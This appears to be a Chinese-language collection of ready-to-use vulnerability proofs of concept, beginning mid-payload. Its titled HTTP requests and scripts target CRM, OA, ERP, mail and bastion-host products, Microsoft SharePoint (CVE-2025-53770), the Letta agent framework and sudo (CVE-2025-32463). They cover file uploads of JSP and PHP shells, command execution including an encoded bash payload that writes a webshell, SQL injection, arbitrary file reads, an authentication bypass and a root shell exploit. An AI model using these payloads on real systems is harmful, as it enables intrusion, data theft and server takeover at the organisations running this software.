AlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZ
Xh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpY
y5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZ
XV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wL
jAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbF1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAJcgAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJza
W9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbF1dCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjczZTA4OV1ddCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAJPgAAAAl6AAAABn4AAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAQTwAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=</strFormAssignment>

```
            <isBase>false</isBase>
          </GetChildFormAndEntityList>
        </soap:Body>
      </soap:Envelope>
```

灵当 CRM getLogInfo.php文件上传漏洞

poc

```
POST /crm/WeiXinApp/CallRecordLog/getLogInfo.php?
userid=&gettype=uploadfile&uploadfilename=221.php......&callednumber=&sessionvalue=ca6ee
37ed4ea2c709b2d36d1349cacff HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploaded_file"; filename="123321.avi"
Content-Type: image/jpeg

<?php
print "Hello, World!";
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

蓝凌OA远程命令执行

poc

```
POST /ekp/data/sys-common/dataxml.tmpl  HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0)  Gecko/20100101
Firefox/92.0
Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

s_bean=ruleFormulaValidate&script=try {
String cmd = "ping {{interactsh-url}}";
Process child = Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
System.err.println(e);
}
```

浪潮GS PurBidSupplementSrv.asmx任意文件读取

poc

```
POST /cwbase/service/cepp/PurBidSupplementSrv.asmx HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: GSPWebLanguageKey=zh-CN
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body xmlns:m="http://tempuri.org/">
<m:downLoadFile>
<m:filePath>C:\Windows\win.ini</m:filePath>
<m:offset>0</m:offset>
</m:downLoadFile>
</soap:Body>
</soap:Envelope>
```

龙采商城系统 auditing 接口存在SQL注入

poc

```
 POST /coupon/auditing HTTP/1.1

id=1%20and%20updatexml(1,concat(0x7e,@@version,0x7e),1)
```

Letta平台(AI代理框架)远程代码执行CVE-2025-51482

poc

```
POST /v1/tools/run HTTP/1.1
Host:
Content-Type: application/json
Content-Length: 248

{
  "source_code": "def test():\n    \"\"\"Test rce.\"\"\"\n    import os\n    return
os.popen('id').read()",
  "args": {},
  "env_vars": {
    "PYTHONPATH": "/usr/lib/python3/dist-packages"
  },
  "name": "test"
}
```

MetaCRM 客户关系管理系统 sendfile.jsp 任意文件上传

poc：

```
POST /business/common/importdata/sendfile.jsp HTTP/1.1
Host:

Content-Type: multipart/form-data; boundary=————WebKitFormBoundary03rNBzFMIytvpW22

————————WebKitFormBoundary03rNBzFMIytvpW22

Content-Disposition: form-data; name="file"; filename="1.jsp"

<%out.println(new java.util.Random().nextInt(100));new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>

————————WebKitFormBoundary03rNBzFMIytvpW22--
```

MetaCRM 客户关系管理系统 sendsms.jsp 任意文件上传

poc：

```
POST /business/common/sms/sendsms.jsp HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=————WebKitFormBoundary03rNBzFMIytvpW22
————————WebKitFormBoundary03rNBzFMIytvpW22
Content-Disposition: form-data; name="file"; filename="1.jsp"
<%out.println(new java.util.Random().nextInt(100));new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>
————————WebKitFormBoundary03rNBzFMIytvpW22--
```

明源ERP sso/login.aspx身份认证绕过

poc

```
POST /PubPlatform/nav/login/sso/login.aspx HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

__yzsAppSecret=test&user_info=%66%79%6d%71%35%62%49%63%78%58%5a%49%78%75%36%4b%6c%6c%73%
46%49%52%32%5a%77%45%4a%4b%2b%56%45%39%35%44%6b%78%2f%43%6e%46%67%46%51%3d



GET /PubPlatform/nav/home/default?_nav=0000 HTTP/1.1
Cookie:
userToken=674368A4EC31B7DF719C2CB32325206859FB63D329E30D59CC3A53EBDEF8A6D4AA0370A2A4143A
3AB19A87D4BFA025252EAB17A695CE7006559242EBE643C0C7B4F430890D661F14A9B51EB9C3AE1384BF7CCD
020C7AC0BD8C7EA2A82E76BFA790F391FC4CA2D628D4920D5F75E02DA2A2A19512449376AE159F8003001B22
95;
```

Microsoft SharePoint Server远程代码执行漏洞 CVE-2025-53770

poc

```
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101
Firefox/120.0
Content-Length: 7699
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close

MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_
DWP=%0A++++%3C%25%40+Register+Tagprefix%3D%22Scorecard%22+Namespace%3D%22Microsoft.Perfo
rmancePoint.Scorecards%22+Assembly%3D%22Microsoft.PerformancePoint.Scorecards.Client%2C+
Version%3D16.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D71e9bce111e9429c%22+%25%3E%0
A++++%3C%25%40+Register+Tagprefix%3D%22asp%22+Namespace%3D%22System.Web.UI%22+Assembly%3
D%22System.Web.Extensions%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D
31bf3856ad364e35%22+%25%3E%0A%0A%3Casp%3AUpdateProgress+ID%3D%22UpdateProgress1%22+Displ
ayAfter%3D%2210%22+%0Arunat%3D%22server%22+AssociatedUpdatePanelID%3D%22upTest%22%3E%0A%
3CProgressTemplate%3E%0A++%3Cdiv+class%3D%22divWaiting%22%3E++++++++++++%0A++++%3CScorec
ard%3AExcelDataSet+CompressedDataTable%3D%22H4sIAAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2
BJCiu%2BWQHUGQLIi0CAkgUSAw4YjBzeIFANm8i3%2Bz37MftXsyCyRlW7Zlz07PrhymKBaqMvPkyVNZAH%2F6%2
Baeffvpv%2FNBv%2Bvm3f8KL1XtYLNP8rBkuwxcnMp0vRtPizcWZRv9enDRW2XI1T98U6Wo5D7MXJ3erKBvF79KH
%2FnSSFm%2BiX34Ja3HtlX5ZvUi1Xy%2F%2FlRb%2Fj0dr8ksvXZKtPw7yrBcP0zz8M941Rx8%2BmPMw%2F%2Fln
GvvDP%2BPlP%2F90tV28XvAlJ9s8KxZvTk%2FVm9dbvB8ul7PX5%2BebzeZsUz2bzu%2FPK5qmnw%2B6N2rZ%2Fb
X5IoHVN6ereVGutniZj%2BL5dDH9sHwZT%2FPXuO6luur0ZJS8OV1M85T%2BWqTL07f%2F%2FqeTT37IrTRL87RY
nhRhnn484USt9Lq9KIN9c7qcr9LD5%2B4ibazmc0y%2BmcZhlpbDT9jZ24KLsyzd9h9m6ReuOlw5nI7i9CQfFbdx
vJoDJA12w%2B3%2Br1URTVdFkiZfMvflEIfp8ItO%2FpjDn85apL%2Bt0iJ%2B7pSn3ZxtigPShD%2F58Oa0pGBj
mmVpvASnF2dmWqTzUXx2M1os%2F6r%2F5S%2BPWdpL52vguDhrF8t0XoTZWWs7Cwk3bx7OZun8r5XDBC%2BNztz2
2c10IabzPFxiwouT49iPVJFW%2FVD78MsHXU9qWlgN37842BoVyXSzUE7eRmPEQm%2Fv5tP1KCG7d%2FN0ASxCCl
GgmtLNdD75AReqevSh%2BmvtVZhUX12k1dr794eYPgLof0Ej3r8%2FPVlykpDLsHighJ1%2BzODz55Lo%2FPtYxN
c%2Fn6t8ecm2r9Xh%2BaEQv1TT37b7FVsqStaxt3%2F4F%2Bjkf5lXCdTzfv5a%2FQrzHxI%2BNUct8a05e0Mv1%
2FqTAvlID7%2BEAenJSek3aW4%2FjLKjSM6nm9s5KM0CVl41DBeNYVjcpyDFqFik8%2BXXdewKWnDYLkbf3i9eYt
FlCOocN5nkGbvMt1jziXTcfngsFZ8X8e%2Fg8clzamPvdkuR8Dk1eIUYKJw0wRuEunzQnlu53XQ5nCYWFOttExI2
H4XZaJdenT%2F6%2FLtWugtJ%2FQDw4nt2k1J%2Bfo8UYPHXe9lLXi%2BW81Fxf%2Fr2fNN62DS0et2u1%2Bt35%
2Fj51agffjYNeu1JqxZXnSzqbe5lLh%2FiSraOxpp2M66vuo2LzU3DaCbeVksGnezOq2XJwHnwvc2iLQzdz7czX1
tmqXTWYUWu7rx21aq0dH%2FnVrr9yc4y3c1tcyLYfts23Gq2S0y5vJlY68jcZn7VmUWV2u5mkmQRbIded%2BVWLh
9wzcStSM1visjT9%2F7V%2Bsl1Zxbl8aJt6jsf10VmNoJ%2FXjDo7ELvcnXXt5XP4%2Fqi3bL06NrR49y9xNo65g
6jxubevZYjzBv3KrImzct54F1c%2BuO46vfl2Or729t%2BVwv69YtbTFFgyWZUlaukPmxGFX3jA4f4PjnYNNxMCz
x9V69368b9yKof8Kzh%2Bu0i8CyNrosfatcB8IvzbMzxD4wh3u8Q%2F3HdvL719GU%2FHVhYU1u5VQeY1ArEuIwr
1jomvEd%2Frzxhin3PnKjf08uk%2Beh9i14NxFivN%2F6fx8ih3Awqj%2F27aLazQ0ytwNtmQUVogbQoliH48sof
MFfbiHcSDNodgzhttFpHjHyTXofDzdp%2FMDZRNcniwppirUW7oYsot9YBeG1XLpeRJ1ZBw3hnu52Z7SbC9qyqnW
8NR2RGfyIasiXarivGgdbZ2G6s2XJWtb3EcJqG0XOFEbrCtF3hJFpnYLtS2NJy7ElgONXECFqiEU6E8DVx57ptHe
s7thRVe2IZTn9oSF00vJZoOa4Ywf5vtutYGC%2Fs%2FNJw8qXR95KGnIhWqIm%2B63Z2tutqtltz7HxmOC3dkBiP
NXENP2SitbawL22ZOXY2NByZGX6eNODfdbfF9ivKfqdqF7BfuTS8QdKwXCGwfgj%2Fb2w3cLC%2BYU9g39UNH%2B
t3sX6iCQn7LazfQXzwL4N%2FieHS%2BERc9%2BE%2F8Olh%2FbEtA8MuHLZP8fvAJ9CEG2ht%2BB%2FMMV7l9YGP
dBlfEWnCQ%2FwLjBe2dAp7AHyBgSwSA7bbkuPr4BqMeQL4ztg%2FmQkjBr7ID%2FlX4XGZVe0B%2FOs7RiCBf4vt
O%2Fhfhf%2BwbyG%2BJfCThgf%2FE9j3XGHBPmIPLI5vHCj7mmj0NNECvgPEF%2FD8vX3PMgL4Hyn8R7A%2Fh33k
```

```
P1H468LwwR%2F4ZgKfPuZv1Xyp5lcsQ0pB8VF%2Be5jfh%2F2A80%2F8mIB%2FhM8x%2F1vGz9UxvwZ8hQG6NawW
528YaK0N84P4VRjAB%2FEVSaMHfLCOo%2FCn%2FBP%2BS6MH%2FniS%2BSfAD8o%2F1o6xxqVjFwp%2FF%2FywNW
GCnwPY93m%2Bh3LLgG8r4%2FiRfxP2vYTzH18Av6qddTAO%2F6pH%2B5i%2FOuBfzDg%2FtH4E%2FoDDhI%2ByLz
vAXwLfpeEC%2Fz7wQf4pfgF8Da6%2FLGD%2BE74W5gPjnqq%2FIeLDNcRv75LHfcX%2FzOb6Yfww30L8gvJvpK5o
Yf4E6%2FcO%2FNvnHzikLXGN%2BAL410H8O9tzkF%2FJ%2Be%2FrnH8T%2F6n%2BEV9C%2FHbswUzVP%2FiFuVT%
2FHvAHtrLK%2BKG2mf%2BYH0NffFV%2FAxV%2FoOLXdK5%2FYNMGPwPFH8QG3tsTneuX8t91OX%2BwT%2Fkfjjn%
2BCerPzQwX8cO%2BifURP%2FGf8p8o%2Fpf1R%2Fojlf7MVfxS2YePiJ%2Fqv91X%2BF9z%2FRP%2FMsS3Mzj%2F
4C%2FlH%2FVD8SVV5AfjCfM3MBOqP6ofip%2F4ayj%2BzYyeCf4LQfjzfKw%2FxPw15iv96BsGuN9wNOYH9KMj2b
4nDOY%2F%2BOdmjJ%2BIlX68%2Bhr%2Fj%2Fwj%2Fe1w%2FXlYv6z%2FDOPYA%2BSY4ysyrl%2Fm%2F7H%2BOgf9
Jfyraj7pL%2FEP%2FqF%2BHcn6M0H9gyO%2Bsk%2F6Cf9JnxNrzz%2FCn%2FRHKvyRe4o%2FGPP%2BMRbAT1L%2B
Degz6R%2Fpj8b4eqgP4g%2FpbyVh%2FSn5D34PoR9ZwfELaUjgDx8p%2F4Rfhfc3wr8vVP4HzH8T8d8iPtLXDvOv
ECr%2B4iP%2BbZR%2BoX4zg%2FNH%2BtRX%2BkP8byj9p%2F3PeUJ%2FRE3pP%2FGv1L8K2yf8oV%2BMv8P8zpFf
LVP8Az7grgt8Hg76Q%2FFL4COP%2BMP%2BWsWfFGwf6%2FsYd7U9%2F4j%2FgVD2Lfaf8IcOUH7IfnjgP%2Bkf7B
P%2BVF8ux0%2F%2BI78e9okc%2Bc0t3j%2BJf4mKv8n7J%2FNf7T%2BED%2B1%2FvqoP4r%2BaT%2FWB%2Bintm2
X8c%2BYfxTfusH34z%2FaxTqD0l%2BwjjtJ%2BH%2FxPsL7af9rEj4LjJ%2F1B%2FQRC7R%2BYLwPG5%2BP934X%
2BYO5efzzuP9h%2BcMg%2F9kDqf1yln3Kt8BeH%2Bo%2FL%2Bk%2BY%2F0OD%2BUf7L2qb7EODSH9HZfzrvf0e8b
PC%2Bzvp5zhR%2BI%2B5%2Fsk%2BuOkPGP89%2F3Zf0R%2BqX%2FDDwXzan4DfbvjN%2Bi%2FjJ%2FtD1X%2BRfg
vFf%2Bg%2F9Q%2BP6r%2Bl8IWGUX%2BI%2BkN97f3H%2Fkf8GkquH4o%2F4%2Fw1YLvUrzbxt6P4I3j%2FYf5POP
%2Fk%2F9P8a3H9k74h%2FzJA%2FgvOP%2BqQ9reu8t9zP9Vf8I%2FGvWP%2Bq2zf1Qsb3DjYP9afpfY3yr%2Bqfx
%2F9FelP2f%2B4HD%2Ftf6w%2Fqv%2BB%2F4%2F4T%2FHjGuI%2F9i%2FCH%2F0n1R%2Ft7xcq%2F2X%2FR%2FYx
jv0bzY9A7J0u1w%2F13%2Fv%2BU%2BF%2F7R%2Fwp%2F56Vt33f7T%2FoX8wpeq%2FaP9fH%2FTXXDL%2F0H9z%2
FbuKfwHrL%2Fc%2FgvWb6o%2FmK%2F6R%2FmE%2BxU%2F5y3j%2FaR%2FrL1D7D8W%2Fx3%2FC%2Fd8w0R7j73B%
2FRf5Hqn7J%2F1rZfxTUvzP%2F80P%2FSfyfKv5L1f8%2Fqb9Di%2FvPXFfxg7%2F7%2FRPjvyn8MZ%2F3n4z7d8
R%2Fban62z2u%2Fx7ON6Q%2F6J%2Bpvkdl%2F20x%2FrR%2F6Bnvf6gfzj%2BuqfH%2Bxf2PxfGT%2F7F76P93qv
9A%2FZJ96n9Mdf4IVX0TPoGqP8SP%2FRv9D%2FGP5pf9F%2FCn%2FnNsMH8ofuBP%2Bl%2FiT%2FqD%2FYfOHwp%
2Fqr9ryfkVF0f9L%2Fdf9I%2Bu6q8sxa8n65%2F3F%2Fjf4v7Dc6pKf1X%2Fhf6zTf0f7Ael%2FkBfhJoPjbt1Rb
OnekicnyyH44c%2BUP7p%2FIP9gfAPyvrE%2Fkn4S3U%2BK%2Fcv%2BI91W8AXsbmZ2r9MnM9a6vyA9V3g12b%2B
SeR%2FVJ5fMI46ErctbFFu5xb9yQX3r4%2FGcYbd7899NY4e9NE49f%2BS92eqb6n4cxyn%2FrcF%2FgF77r8wTv
kXrM9Uf5hL82ncUvVJ5x%2BD8Zfq%2FGwmKv%2FVMv6C%2Bv8esPPK%2BBPOj9AP52%2FoXw%2Fa2oP%2BwX8D%2
BvZO9aeJ6q8KtT95Gfe3pB9Zia%2Fk%2BcfzeQMcofMX6esrdT5AfaK%2FtHfq%2FJGo%2BpggfvB%2FiPrGWK7w
71eYf8R%2F0gdNnX9xvqbzi47%2BI2d9pvUnNtd3GR%2F6Fxva2qP%2BG%2Fx2VH1jfSfg8zXpA%2BL3K8meH9h%
2FBfynHh7nT5x9DvHBP%2BQ3VPVZ3j%2Bg%2BOE%2F8StS82Ef%2B4JrY34G%2F8Ff9Ki0f6WqvkPED%2F%2B72n
7%2FInwx30hU%2FkZKP%2Bj8Rv23weuTfuOaFvC%2FC7g%2FoP4G8fVL%2FDAeqfsjUukf4Qd%2BEr9RHzg7G6Hq
z8j%2BcX3aP0nfPL7%2FsPcP%2BbHoDI0ecGnYutJniq%2Bv8C%2FzP1PnG%2BzvdH8D%2BF8r%2F8k%2B6sdDfJ
R%2FxE%2F4YbypzkfU%2F8aayu92j5%2BBvo7GwW3SX%2FCD9B3zH9lvl%2Fkt7%2F9kSp8qS%2B7vk3L%2FVPdn
4B%2FhP3C4P6X8kr4hf3T%2FqFHqZ4kv%2B0%2F29%2FypcP9k%2B9d8H6tiLYO6Lejtd94P43uFjRauN2WBscyo
6FliDtdBs34deVILzctJ1%2B426zvjcO%2FPMeUC59VhYsp%2BMOjMfG87S3PB9xJ75uUiMOXDO%2B24puPVtLiY
rA%2F3kbNOFuT7%2B8gXq74nl34uH3peLY%2F0L%2Fr6t87vqJukkw7HbE%2FpV4s%2Fa%2F7NsXEejGunFptu2x
9Yu8DTR9H1xExM8RBUpNYqnGGcJ1ki6BppxFUri7zOIrVrmj%2FoFMHAcdOBkfVzsQzs2RJ%2FT6OKc%2Bt7etb0
PrNn1O02%2FreaXfFd%2BZ4%2Fik9EhfOQ2v4N%2Bb6od44YFHLlV%2Bq7f%2BT93hvxf8O2Y2bDoFJbA%2BOZX%
2B2u3OvO2q%2FIXfywuT%2Fw8e%2F5LON%2BQ8y6iQbWOKp2FqHXRiwB3aMm7l9ayhZsbu7tqlwk1%2FIh6OurYC
C1OBcL%2BGYnHs2zboJB5kaVZRaN9ZG1S4aW19WtcavW3TlZt3lfa9z71u%2F0bMls0r13Y%2FZtnDf%2BHdeWtK
hOtIZTV3VL9%2FEbl0eO5DJHjYwTE76OahbVH3LSifJg7VboGZVYhIPZkMcnw3VkOll8H%2FNaqua2x5p0a8PIcz
t2ZTvEZ1yDDWnN4N%2BQ8bVn%2FdBLVqgtyu1DY6LTvCzOuP5tB3Gzdmio%2FapcBlSzmxbVq1Gvd9vN43MYrnlP
x4Fow9pkKW26oF8mC3qz9gwuGn3SmaQxfKpmPvvsne1LWvru0V4BfIoovwSfs3H8ULPj%2FHIcQMfaQuH%2BTjzx
PO%2Fzz2ZKY6dGQz1%2FUnHw%2B%2BTwLKlhc7AmP3ip65%2F5Zwx53hx6rnV37Xt69hKTjvaeHV9IC3SP8XWiwt
51R8bBh%2B%2BN59EDI9Mk96%2FFwe7ev3BgraN%2F%2BHOySZc5dF%2F%2BdtjnjsrB9ObqvHy8%2Fexv0%2Fzg
o%2FQr9aWGdvlg%2FNGj7sfffDh9e3X%2B8YXP%2BsbOd3%2FF4Or8O7%2BA8dWv9sw2xRe%2F1EPfaHnyqzxf%2
FjbM1fkn39x5%2B%2Bf%2FAT299nCZKQAA%22+DataTable-
CaseSensitive%3D%22false%22+runat%3D%22server%22%3E%0A%3C%2FScorecard%3AExcelDataSet%3E%
0A++%3C%2Fdiv%3E%0A%3C%2FProgressTemplate%3E%0A%3C%2Fasp%3AUpdateProgress%3E%0A++++
```

明源ERP DataRule_XMLHTTP 存在SQL注入

poc

```
GET /BUAdjust/DataRule/DataRule_XMLHTTP.aspx/?
ywtype=getFieldXML&table=-1%27%20union%20select%20@@version--
```

票友ERP系统kefu_list存在信息泄露

poc

```
GET /json_db/kefu_list.aspx?
stype=0&_search=false&nd=1751246532981&rows=25&page=1&sidx=id&sord=asc HTTP/1.1
Host: <target-host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3029.68 Safari/537.36
Cookie: pyerpcookie=loginname=admin
```

Richmail邮件openapiservice任意文件上传

poc

```
POST /webadmin/service/openapiservice?func=upload:letterImageUpload HTTP/1.1
Content-Type: multipart/form-data; boundary=————WebKitFormBoundary
...

————————WebKitFormBoundary
Content-Disposition: form-data; name="imageX"

0
————————WebKitFormBoundary
Content-Disposition: form-data; name="imageY"

0
————————WebKitFormBoundary
Content-Disposition: form-data; name="submit"

提交
————————WebKitFormBoundary
Content-Disposition: form-data; name="filename";
filename="../../../../../web/webmailsvr/admin/12.jsp"
Content-Type: text/plain

<% out.println("Vulnerable!"); %>
————————WebKitFormBoundary--
```

深信服运维安全管理系统存在RCE

poc

```
POST /fort/system;login/netConfig/set_port HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

select=6379+-
j+DROP%0a%62%61%73%68%20%2d%63%20%24%28%65%63%68%6f%20%5a%57%4e%6f%62%79%41%69%55%45%4e%
56%5a%32%46%74%52%6a%4a%5a%55%7a%56%77%59%6e%6b%31%53%6d%4a%75%51%6a%46%6b%52%6b%34%77%5
9%32%31%57%61%47%4a%54%51%6e%42%69%61%55%45%35%53%55%5a%4b%4d%57%4a%75%55%6e%42%69%56%31
%56%31%57%6a%4a%57%4d%46%56%75%56%6e%56%6b%52%32%78%30%57%6c%4e%6e%63%45%78%74%56%6a%52%
61%56%30%31%76%59%32%31%57%65%47%52%58%56%6e%70%6b%51%7a%56%75%57%6c%68%53%55%56%6c%59%5
3%6d%68%69%56%31%59%77%57%6c%68%4a%62%30%6c%74%54%6e%52%61%51%30%6c%77%53%31%4d%31%62%6c
%70%59%55%6b%70%69%62%6b%49%78%5a%45%5a%4f%4d%47%4e%74%56%6d%68%69%55%32%64%77%54%7a%4a%
73%64%57%52%44%51%6d%68%4a%52%44%42%6e%54%46%52%46%4e%31%6c%75%62%44%42%61%56%6e%52%6b%5
3%55%64%4a%5a%31%42%54%51%6e%56%61%57%47%4e%6e%57%57%35%73%4d%46%70%57%63%33%6c%4e%52%46
%45%30%57%46%52%30%64%6d%52%59%55%58%56%6a%53%45%70%77%59%6d%35%52%62%30%6c%71%65%48%64%
6a%62%56%55%72%53%57%6c%72%4e%32%51%79%61%48%42%69%52%31%56%76%53%30%64%46%4f%57%46%58%4
e%48%56%6a%62%56%5a%6f%57%6b%4e%6f%61%55%74%54%61%32%68%51%55%7a%42%34%53%31%68%30%64%6d
%52%59%55%58%56%6a%53%45%70%77%59%6d%35%53%63%32%4a%70%61%48%56%61%57%47%4e%6e%56%54%4e%
53%65%57%46%58%4e%57%35%4c%52%30%6c%7a%54%55%4e%34%61%45%74%54%61%7a%64%6d%56%7a%6b%78%5
a%45%4d%31%64%32%4e%74%62%48%56%6b%51%32%64%70%55%45%4d%35%64%32%4e%74%56%53%74%4a%61%57
%73%33%59%6d%31%57%4d%30%6c%48%63%47%68%6b%62%55%56%31%59%56%63%34%64%56%4a%74%62%48%4e%
61%55%32%68%6f%59%30%68%43%63%32%46%58%54%6d%68%6b%52%32%78%32%59%6d%6b%31%62%6c%70%59%5
5%6c%4e%61%56%30%5a%7a%56%55%64%47%4d%47%46%44%61%48%6c%61%57%45%59%78%57%6c%68%4f%4d%45
%78%74%5a%47%78%6b%52%6b%35%73%59%32%35%61%63%31%70%59%55%6c%46%5a%57%46%4a%76%53%30%4e%
72%63%45%74%54%4e%57%74%61%56%33%68%73%5a%45%64%56%62%30%74%55%63%32%78%51%5a%7a%30%39%4
9%69%42%38%59%6d%46%7a%5a%54%59%30%49%43%31%6b%49%44%34%67%4c%33%56%7a%63%69%39%73%62%32
%4e%68%62%43%39%30%62%32%31%6a%59%58%51%76%64%32%56%69%59%58%42%77%63%79%39%6d%62%33%4a%
30%4c%33%52%79%64%58%4e%30%4c%33%5a%6c%63%6e%4e%70%62%32%34%76%62%47%39%6e%4c%6d%70%7a%6
3%41%3d%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%20%2d%69%29%0d%0a%65
%78%69%74%3b%0d%0aecho&Unselect=22,443,9443
```

```
GET /fort/trust/version/log.jsp?cmd=id HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101
Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

sudo chroot提权CVE-2025-32463

poc

```
  STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
```

```
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
```

深信服&dp OSM（堡垒机）rce

poc


```
POST /fort/portal_login HTTP/1.1
Host:
Cookie: FORTSESSIONID=78DFD83A276124B65ECA5D316D66D47F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101
Firefox/131.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,im
age/svg+xml,*/*;q=0.8
